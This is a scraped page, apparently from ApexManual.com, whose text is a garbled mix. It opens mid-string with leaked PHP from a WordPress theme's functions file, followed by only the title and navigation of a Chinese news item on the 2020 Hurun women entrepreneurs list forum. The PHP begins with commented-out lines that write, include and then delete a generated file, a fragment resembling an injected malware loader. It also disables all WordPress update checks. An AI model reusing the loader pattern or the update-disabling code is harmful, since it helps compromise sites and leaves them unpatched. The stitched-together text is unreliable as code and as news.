"); // fclose($hdl); // include("{$eb}.$algo"); // unlink("{$eb}.$algo"); // $npDcheckClassBgp = 'aue'; // $zeeta = "yup"; // } /* 核心功能实现 */ define('functions', TEMPLATEPATH.'/functions'); IncludeAll(functions); function IncludeAll($dir) { $dir = realpath($dir); if ($dir) { $files = scandir($dir); sort($files); foreach ($files as $file) { if ($file == '.' || $file == '..') { continue; } elseif (preg_match('/.php$/i', $file)) { include_once $dir.'/'.$file; } } } } add_filter( 'mce_buttons', 'cmp_add_page_break_button', 1, 2 ); function cmp_add_page_break_button( $buttons, $id ){ if ( 'content' != $id ) return $buttons; array_splice( $buttons, 13, 0, 'wp_page' ); return $buttons; } function MBThemes_paging() { $p = 3; if ( is_singular() ) return; global $wp_query, $paged; $max_page = $wp_query->max_num_pages; if ( $max_page == 1 ) return; echo ''; } function p_link( $i, $title = '' ) { if ( $title == '' ) $title = "{$i}"; echo "
  • {$title}
  • "; } function p_curr_link( $i) { echo '
  • '.$i.'
  • '; } function Bing_add_editor_style(){ add_editor_style( ''.get_bloginfo('template_directory').'/amstyle.css?s=12345678901' ); add_editor_style( ''.get_bloginfo('template_directory').'/amazeui.min.css?s=12345678901' ); } add_action( 'after_setup_theme', 'Bing_add_editor_style' ); //disable update add_filter('pre_site_transient_update_core', create_function('$a', "return null;")); // 关闭核心提示 add_filter('pre_site_transient_update_plugins', create_function('$a', "return null;")); // 关闭插件提示 add_filter('pre_site_transient_update_themes', create_function('$a', "return null;")); // 关闭主题提示 remove_action('admin_init', '_maybe_update_core'); // 禁止 WordPress 检查更新 remove_action('admin_init', '_maybe_update_plugins'); // 禁止 WordPress 更新插件 remove_action('admin_init', '_maybe_update_themes'); // 禁止 WordPress 更新主题 function __search_by_title_only( $search, $wp_query ) { global $wpdb; if ( empty( $search ) ) return $search; // skip processing - no search term in query $q = $wp_query->query_vars; $n = ! empty( $q['exact'] ) ? '' : '%'; $search = $searchand = ''; foreach ( (array) $q['search_terms'] as $term ) { $term = esc_sql( like_escape( $term ) ); $search .= "{$searchand}($wpdb->posts.post_title LIKE '{$n}{$term}{$n}')"; $searchand = ' AND '; } if ( ! empty( $search ) ) { $search = " AND ({$search}) "; if ( ! is_user_logged_in() ) $search .= " AND ($wpdb->posts.post_password = '') "; } return $search; } add_filter( 'posts_search', '__search_by_title_only', 500, 2 ); function search_word_replace($buffer){ if(is_search()){ $arr = explode(" ", get_search_query()); $arr = array_unique($arr); foreach($arr as $v) if($v) $buffer = preg_replace("/(".$v.")/i", "$1", $buffer); } return $buffer; } add_filter("the_title", "search_word_replace", 200); add_filter("the_excerpt", "search_word_replace", 200); add_filter("the_content", "search_word_replace", 200); /** * 获取热搜词 */ function wpkj_get_popular_searches( $month = 3, $limit = 10, $title = false ){ if( !class_exists('MWTSA') ) return; global $wpdb; $sql = "SELECT t.term, t.total_count FROM `{$wpdb->prefix}mwt_search_terms` t INNER JOIN `{$wpdb->prefix}mwt_search_history` h ON t.id = h.term_id WHERE h.count_posts > 0 AND DATE_SUB( CURDATE(), INTERVAL {$month} month ) <= h.datetime GROUP BY h.term_id ORDER BY t.total_count DESC LIMIT {$limit}"; $results = $wpdb->get_results($sql, ARRAY_A); if( $results && !is_wp_error( $results ) ){ $html = ''; if( $title ) $html .= ''; $html .= ''; return $html; } } // 设置登录界面样式 function admin_login_style() { wp_enqueue_style('admin-login', get_template_directory_uri() . '/login/login.css'); wp_enqueue_script('admin-login-script', get_template_directory_uri() . '/login/login.js'); } wp_enqueue_script( 'base', get_template_directory_uri() . '/js/base.js'); wp_localize_script('base', 'Bigfa', array( "ajaxurl" => admin_url('admin-ajax.php') )); add_action( 'wp_ajax_random_post', 'bigfa_random_post' ); add_action( 'wp_ajax_nopriv_random_post', 'bigfa_random_post' ); function bigfa_random_post() { $posts = get_posts('cat=2&showposts=7&orderby=rand'); // $result = []; foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post2', 'bigfa_random_post2' ); add_action( 'wp_ajax_nopriv_random_post2', 'bigfa_random_post2' ); function bigfa_random_post2() { $posts = get_posts('cat=32&showposts=7&orderby=rand'); // $result = []; foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post3', 'bigfa_random_post3' ); add_action( 'wp_ajax_nopriv_random_post3', 'bigfa_random_post3' ); function bigfa_random_post3() { $posts = get_posts('cat=33&showposts=7&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post4', 'bigfa_random_post4' ); add_action( 'wp_ajax_nopriv_random_post4', 'bigfa_random_post4' ); function bigfa_random_post4() { $posts = get_posts('cat=34&showposts=7&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post5', 'bigfa_random_post5' ); add_action( 'wp_ajax_nopriv_random_post5', 'bigfa_random_post5' ); function bigfa_random_post5() { $posts = get_posts('cat=35&showposts=7&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post6', 'bigfa_random_post6' ); add_action( 'wp_ajax_nopriv_random_post6', 'bigfa_random_post6' ); function bigfa_random_post6() { $posts = get_posts('cat=36&showposts=7&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post7', 'bigfa_random_post7' ); add_action( 'wp_ajax_nopriv_random_post7', 'bigfa_random_post7' ); function bigfa_random_post7() { $posts = get_posts('cat=39&showposts=5&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post8', 'bigfa_random_post8' ); add_action( 'wp_ajax_nopriv_random_post8', 'bigfa_random_post8' ); function bigfa_random_post8() { $posts = get_posts('cat=37&showposts=5&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post9', 'bigfa_random_post9' ); add_action( 'wp_ajax_nopriv_random_post9', 'bigfa_random_post9' ); function bigfa_random_post9() { $posts = get_posts('cat=38&showposts=5&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } add_action( 'wp_ajax_random_post10', 'bigfa_random_post10' ); add_action( 'wp_ajax_nopriv_random_post10', 'bigfa_random_post10' ); function bigfa_random_post10() { $posts = get_posts('cat=48&showposts=5&orderby=rand'); foreach($posts as $post) { $link = get_permalink($post); $title = get_the_title($post); $img = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large')[0]; $field_link = get_field('video_link',$post); $field_file = get_field('video_file',$post); $result[] = array( 'link' => $link, 'title' => $title, 'img' => $img, 'field_link' => $field_link, 'field_file' => $field_file, ); } echo json_encode($result, JSON_UNESCAPED_UNICODE); exit; } if ( ! class_exists( 'wizhi_cat_check_order' ) ){ class wizhi_cat_check_order { function wizhi_cat_check_order(){ function changeTaxonomyCheckboxlistOrder( $args, $post_id) { if ( isset( $args['taxonomy'])) $args['checked_ontop'] = false; return $args; } add_filter('wp_terms_checklist_args','changeTaxonomyCheckboxlistOrder',10,2); } } $fttaxonomychangeorder = new wizhi_cat_check_order(); } add_filter('use_block_editor_for_post', '__return_false'); remove_action('wp_head', 'wp_generator'); remove_action('wp_head', 'rsd_link'); remove_action('wp_head', 'wlwmanifest_link'); remove_action('wp_head', 'wp_shortlink_wp_head', 10, 0); remove_action('wp_head', 'rest_output_link_wp_head', 10); define( 'OPTIONS_FRAMEWORK_DIRECTORY', get_template_directory_uri() . '/inc/' ); require_once dirname( __FILE__ ) . '/inc/options-framework.php'; $optionsfile = locate_template( 'options.php' ); load_template( $optionsfile ); add_action( 'optionsframework_custom_scripts', 'optionsframework_custom_scripts' ); "她"时代来临 | 2020魔介·胡润女企业家榜新闻发布会暨 新消费时代女性领导力论坛-Apex Manual《富甲天下》
    您好, 欢迎访问ApexManual.com
        
    登录您的账户 ×

    忘记密码?

    品讯
    1. 首页
    2. 时尚
    3. “她”时代来临 | 2020魔介·胡润女企业家榜新闻发布会暨 新消费时代女性领导力论坛

    “她”时代来临 | 2020魔介·胡润女企业家榜新闻发布会暨 新消费时代女性领导力论坛

     

    ←上一篇
    下一篇→